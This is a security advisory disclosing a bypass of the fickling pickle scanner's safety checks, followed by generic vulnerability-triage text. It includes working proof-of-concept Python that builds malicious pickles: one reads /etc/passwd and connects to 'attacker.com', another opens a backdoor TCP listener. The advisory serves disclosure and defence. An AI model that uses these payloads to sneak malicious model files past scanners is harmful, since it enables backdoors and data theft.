It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).
All 5 of fickling's safety interfaces — is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager — report LIKELY_SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.
The bypass exploits three weaknesses in fickling's static analysis pipeline:
likely_safe_imports over-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encounters from smtplib import SMTP, it adds "SMTP" to the likely_safe_imports set because smtplib is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.
OvertlyBadEvals exemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is in likely_safe_imports. So SMTP('attacker.com') is never flagged.
__setstate__ exclusion (fickle.py:443-446): BUILD generates a __setstate__ call which is excluded from the non_setstate_calls list. This means BUILD's call is invisible to OvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents the UnusedVariables checker from flagging the unused assignment (the only remaining detection mechanism).
All versions through 0.1.7 (latest as of 2026-02-18).
fickling.is_likely_safe() - returns True for bypass payloadsfickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFEfickling --check-safety CLI - exits with code 0fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executesfickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executesA single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY_SAFE:
import io, struct, tempfile, os
def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_exfiltration_pickle():
"""
Single pickle that:
1. Reads /etc/passwd via fileinput.input()
2. Opens TCP connection to attacker via smtplib.SMTP()
Both operations pass as LIKELY_SAFE.
"""
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# --- Operation 1: Read /etc/passwd ---
payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL
payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b"0") # POP (discard result)
# --- Operation 2: Connect to attacker ---
payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL
payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1
payload.write(b"R") # REDUCE
payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
# Generate and test
data = make_exfiltration_pickle()
with open("/tmp/exfil.pkl", "wb") as f:
f.write(data)
import fickling
print(fickling.is_likely_safe("/tmp/exfil.pkl"))
# Output: True <-- BYPASSED (file read + network connection in one pickle)
fickling decompiles this to:
from fileinput import input
_var0 = input('/etc/passwd') # reads /etc/passwd
_var1 = _var0
_var1.__setstate__({'_x': 'y'})
from smtplib import SMTP
_var2 = SMTP('attacker.com') # opens TCP connection to attacker
_var3 = _var2
_var3.__setstate__({'_x': 'y'})
result = _var3
Yet reports LIKELY_SAFE because every call is either in likely_safe_imports (skipped) or is __setstate__ (excluded).
CLI verification:
$ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?"
EXIT: 0 # BYPASSED - file read + network access passes as safe
always_check_safety() verification:
import fickling, pickle
fickling.always_check_safety()
# This should raise UnsafeFileError for malicious pickles, but doesn't:
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
check_safety() context manager verification:
import fickling, pickle
with fickling.check_safety():
with open("/tmp/exfil.pkl", "rb") as f:
result = pickle.load(f)
# No exception raised — malicious code executed successfully
A pickle that opens a TCP listener on port 9999, binding to all interfaces:
import io, struct
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_backdoor_listener():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# socketserver.TCPServer via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")
# Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types
payload.write(b"(") # MARK
payload.write(sbu("0.0.0.0")) # host string
payload.write(b"J" + struct.pack("<i", 9999)) # BININT port
payload.write(b"t") # TUPLE
# Handler class via STACK_GLOBAL
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")
payload.write(b"\x86") # TUPLE2 -> (address, handler)
payload.write(b"R") # REDUCE -> TCPServer(address, handler)
payload.write(b"N") # NONE
payload.write(b"b") # BUILD(None) -> no-op
payload.write(b".") # STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, pickle, socket
data = make_backdoor_listener()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
The TCPServer constructor calls server_bind() and server_activate() (which calls listen()), so the port is open and accepting connections immediately after pickle.loads() returns.
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include:
socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt.smtplib.SMTP('attacker.com'), ftplib.FTP('attacker.com'), imaplib.IMAP4('attacker.com'), poplib.POP3('attacker.com') open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname.sqlite3.connect(path) creates a file at an attacker-chosen path as a side effect of the constructor.A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended.
This affects any application using fickling as a safety gate for ML model files.
Restrict likely_safe_imports to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the OvertlyBadEvals exemption for likely_safe_imports or expand the UNSAFE_IMPORTS blocklist to cover network/file/compilation modules.
GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to UNSAFE_IMPORTS does NOT fix this vulnerability because the root cause is the OvertlyBadEvals exemption for likely_safe_imports (analysis.py:304-310), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include socketserver, signal, sqlite3, threading, compileall, and others beyond the scope of that advisory.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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